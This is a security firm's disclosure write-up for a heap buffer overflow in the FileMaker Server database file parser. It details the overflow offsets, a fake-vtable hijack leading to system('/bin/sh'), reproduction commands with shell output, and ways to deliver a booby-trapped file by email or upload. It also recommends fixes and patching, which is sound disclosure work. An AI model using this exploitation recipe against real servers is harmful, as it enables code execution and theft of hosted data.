CVE-2026-86926 - Heap Buffer Overflow in Claris FileMaker Server Block Parser via Malicious .fmp12 Files Enables Arbitrary Code Execution

A 2-byte field in the file header was all it took. This post breaks down CVE-2026-86926, a heap buffer overflow in the Claris FileMaker Server database engine block parser found by mutation-fuzzing .fmp12 files. A…

CVE-2026-86926 Claris FileMaker Server Block Parser Heap Overflow

IMPORTANT

A Database File Is a Program, As Far As the Parser Is Concerned.
Contact Us Now for a free consultation and find out how Agilehunt can protect your digital assets.

Vulnerability Description

During a security review of Claris FileMaker Server (part of an Apple bug bounty engagement), Agilehunt ran a mutation-fuzzing campaign against the .fmp12 database format — and the database engine started handing us memory-corruption crashes. Root-cause analysis of those crashes uncovered a heap buffer overflow in the block parsing routine of the FileMaker database engine, now assigned CVE-2026-86926.

The flaw lives in Draco::HCacheMgr::ReadPage() inside libDBEngine.so (Linux) / DBEngine.framework (macOS) — the shared engine loaded by fmserverd, fmscwpc, fmwipd, fmsib, and FMDeveloperTool. When the engine parses a database file into heap-resident HPage objects, the Native Block Size (NBS) field in the .fmp12 file header (a 2-byte big-endian value at offset 0x16) is trusted without validation against the buffer that gets allocated:

NBS (file header, offset 0x16)  =  0x107f  (4223)   ← attacker-controlled
HPage buffer capacity           =  NBS - 0x1f = 0x1060  (4192)
data_size read from block       =  NBS - 20  = 0x106b  (4203)
                                ────────────────────────────
heap overflow                   =  27 bytes past the HPage buffer

ReadPage() reads data_size bytes from the file into the HPage buffer and never checks data_size <= buffer_capacity. Those 27 overflowing bytes land precisely on the heap chunk header and vtable pointer of an adjacent HFrame C++ object allocated immediately after the HPage buffer:

HPage (0x5555b6633630)              HFrame (0x5555b66346a0)
+0x0000  vtable                     +0x0000  vtable ← OVERWRITTEN
+0x0010  block data start           +0x0008  ...
+0x0020  [fake vtable planted]
+0x1060  next chunk prev_size       ← overflow writes here
+0x1068  next chunk size            ← and here
+0x1070  HFrame vtable pointer      ← HIJACKED

By planting a fake vtable inside the HPage block-data area at HPage+0x20 (a location that survives glibc's 16-byte zeroing during free()), an attacker controls what the corrupted HFrame dispatches to. When HCacheMgr::~HCacheMgr destroys the cached frames during cleanup and invokes the virtual destructor, the call goes through the attacker's vtable:

fake vtable[0x08] → gadget:  push rax
                          mov  rdi, [rax+0x20]   ; rdi = "/bin/sh"
                          call [rax+0x18]        ; system()
fake vtable[0x18] → system()   in libc
fake vtable[0x20] → "/bin/sh"  in libc

The push rax gadget in libDBEngine.so exists to fix 16-byte stack alignment — without it, system() crashes on its movaps instruction. The end result is system("/bin/sh"): arbitrary code execution from nothing but a malicious database file.

The trigger surface makes this worse. FMDeveloperTool — which ships with FileMaker Server and links the same libDBEngine.so — takes no username or password for its --recover, --checkConsistency, and --removeAdminAccess subcommands, and --recover is documented for operating on corrupt files, so hostile input is its stated use case. The same ReadPage() code also runs inside fmserverd via backup, clone, and verify operations.

Risk Breakdown

Field	Value
Risk	High
Difficulty to Exploit	Medium — file-only attack; deterministic with ASLR disabled, requires an info leak for full reliability with ASLR enabled
CWE	CWE-122 (Heap-based Buffer Overflow), CWE-787 (Out-of-bounds Write), CWE-20 (Improper Input Validation)
CVSS 3.1	7.8 — `AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` (the file-only, no-authentication vector understates the real-world supply-chain risk)
Affected Product	Claris FileMaker Server — all versions before 26.0.3 (confirmed on 26.0.1.68, Ubuntu 24.04 x86_64 and macOS)
Affected Component	Database engine block parser — `Draco::HCacheMgr::ReadPage()` / `HPage::FromDiskFmt()` in `libDBEngine.so` (`+0x1563e20`)
Fixed In	FileMaker Server 26.0.3

Steps to Reproduce

Step 1 — Mutation-fuzz the `.fmp12` parse path (how it was found)

We built a custom mutation fuzzer around the stock FMServer_Sample.fmp12, flipping fields with interesting values (0x00, 0x7f, 0x80, 0xff, 0x1000, 0xffff, …) and feeding every mutant to the unauthenticated parse paths of FMDeveloperTool:

FMDeveloperTool --checkConsistency mutant.fmp12
FMDeveloperTool --recover mutant.fmp12 -t /tmp/out.fmp12 -f

Crashes were detected via fatal signals (SIGSEGV, SIGBUS, SIGABRT, SIGTRAP), minimized, and triaged. The campaign produced hundreds of distinct crashing inputs — including heap-corruption signatures that pointed straight at the block parser.

Step 2 — Root-cause the overflow in the debugger

Under gdb, breaking inside HCacheMgr::ReadPage shows the mismatch between the allocation and the copy:

HPage buffer  = 0x1060 bytes (derived from file-controlled NBS)
data_size     = 0x106b bytes (derived from file-controlled NBS)
memmove(page_data, block_data, data_size)   → 27-byte heap overflow

The overflowing bytes land on the adjacent HFrame object — its heap chunk header and its vtable pointer at HPage+0x1070.

Step 3 — Craft the malicious `.fmp12`

Starting from a legitimate .fmp12 file:

Set the NBS field at header offset 0x16 to 0x107f
Plant a fake vtable in the block data at HPage+0x20 — outside the 16 bytes glibc zeroes during free()
Point fake_vtable[0x08] at the stack-alignment gadget in libDBEngine.so, [0x18] at system(), and [0x20] at the "/bin/sh" string
Arrange the overflowed vtable pointer of the adjacent HFrame to reference the fake vtable

Step 4 — Trigger the file and execute commands

echo "id > /tmp/pwned" | FMDeveloperTool --recover exploit_rce.fmp12 \
    -t /tmp/out.fmp12 -f -g asis 2>/dev/null

cat /tmp/pwned

Verified output from the lab reproduction (FileMaker Server 26.0.1.68, Ubuntu 24.04):

uid=1000(agilehunt) gid=1000(agilehunt) groups=1000(agilehunt),4(adm),20(dialout),
24(cdrom),27(sudo),30(dip),44(video),46(plugdev),100(users),114(lpadmin),126(docker),
129(libvirt),988(ollama),992(render),1002(fmsadmin)

id and whoami executed inside the FileMaker process. An interactive /bin/sh shell also spawns when the exploit file is recovered without piped input.

Honest scope note: the deterministic PoC was developed in a lab with ASLR disabled. With ASLR enabled, the vtable hijack requires an information-leak primitive first — the heap and library bases must be known. The memory-corruption bug itself is fully deterministic and file-only; it is the final address knowledge that ASLR withholds. A self-calibrating exploit generator (brute-forcing the HPage heap address in 16-byte steps and validating reliability across repeated runs) was provided to the vendor with the report.

Step 5 — Remote reachability without shell access

FMDeveloperTool requires no credentials, but even an attacker without SSH access reaches the same parser remotely: an authenticated administrator can upload a database via the Admin API (POST /fmi/admin/api/v2/databases/upload), and backup, clone, and verify schedules process the file inside fmserverd through the same HCacheMgr::ReadPage() code path.

Attack Path

Attacker crafts .fmp12 (NBS = 0x107f, fake vtable in block data)
    │
    │  email / support ticket / hosted directory upload
    ▼
FMDeveloperTool --recover  (no credentials)
    │
    ├─ HCacheMgr::ReadPage → HPage::FromDiskFmt
    │     NBS trusted → buffer = NBS - 0x1f (0x1060)
    │     data_size = NBS - 20 (0x106b)
    │     → 27-byte heap overflow past the HPage buffer
    │
    ├─ adjacent HFrame vtable pointer @ HPage+0x1070 ← overwritten
    │  fake vtable planted at HPage+0x20 (survives glibc free zeroing)
    │
    └─ HCacheMgr::~HCacheMgr → virtual destructor call
          → call [fake_vtable+0x08] → alignment gadget
          → push rax; mov rdi,[rax+0x20]; call [rax+0x18]
          → system("/bin/sh")  →  arbitrary code execution

Impact

Arbitrary code execution (High, confirmed) — A malicious .fmp12 file alone — no pre-placed libraries, no network access, no authentication — yields code execution as the user processing the file. On a FileMaker Server deployment that is the fmserver account with the fmsadmin group: full access to every hosted database, database encryption keys, and server configuration.
Supply-chain attack scenarios (High) — The .fmp12 extension is treated as a benign database file. An attacker who emails a "corrupt" database to an administrator gets code execution the moment the admin runs the documented diagnostic (--recover) on it. A file dropped into the server's Databases directory poisons every admin or automated script that touches it.
Unauthenticated local attack surface — FMDeveloperTool ships with FileMaker Server and its parse subcommands take no username or password. Any local user who can reach the binary can feed it a malicious file.
Remote path for authenticated admins — Upload via the Admin API plus a backup/clone/verify schedule reaches the same parser inside fmserverd, no shell access required — the same privilege bar as previously awarded Claris file-upload RCEs.
Availability — The hijack crashes the process during cleanup, blocking automated recovery workflows on top of the code-execution impact.

Recommendation

Bounds-check the copy (root cause) — In HCacheMgr::ReadPage() / HPage::FromDiskFmt(), enforce data_size <= buffer_capacity before reading block data into the HPage buffer, and fail the operation on violation.
Validate NBS at ingest — The Native Block Size in the file header must be validated against the engine's compiled-in buffer size (and the expected bounds for the format version) before any block is read — in FMDeveloperTool and in the Admin API upload path.
Harden the binaries — Build FMDeveloperTool, libDBEngine.so, and the server binaries with Full RELRO (-Wl,-z,relro,-z,now), and add CFI (-fsanitize=cfi-vcall) or equivalent vtable-call validation so a corrupted vtable cannot dispatch to arbitrary code.
Sandbox the parser — FMDeveloperTool only needs file I/O. Run it under a seccomp sandbox that blocks execve(), system(), and popen() so even a hijacked parser cannot spawn commands.
Fuzz continuously — This bug was found by a mutation fuzzer any vendor can run. Add ASan/UBSan builds of the .fmp12 parser to CI with a persistent fuzzing campaign focused on the header and block-size fields.

For defenders running FileMaker Server: upgrade to 26.0.3 or later immediately. Treat every .fmp12 file from outside your organization as executable input — never run --recover or consistency checks on untrusted files on production hosts, and restrict who can upload databases or create schedules via the Admin API.

References

TIMELINES

Aug 5, 2026 — Vulnerability discovered during fuzzing-assisted research and reported to Apple (Claris FileMaker Server) with a weaponized file-only proof of concept
Sep 23, 2026 — CVE-2026-86926 assigned and published; fix released in FileMaker Server 26.0.3
Sep 27, 2026 — Public write-up and credited in the - Apple / Claris advisory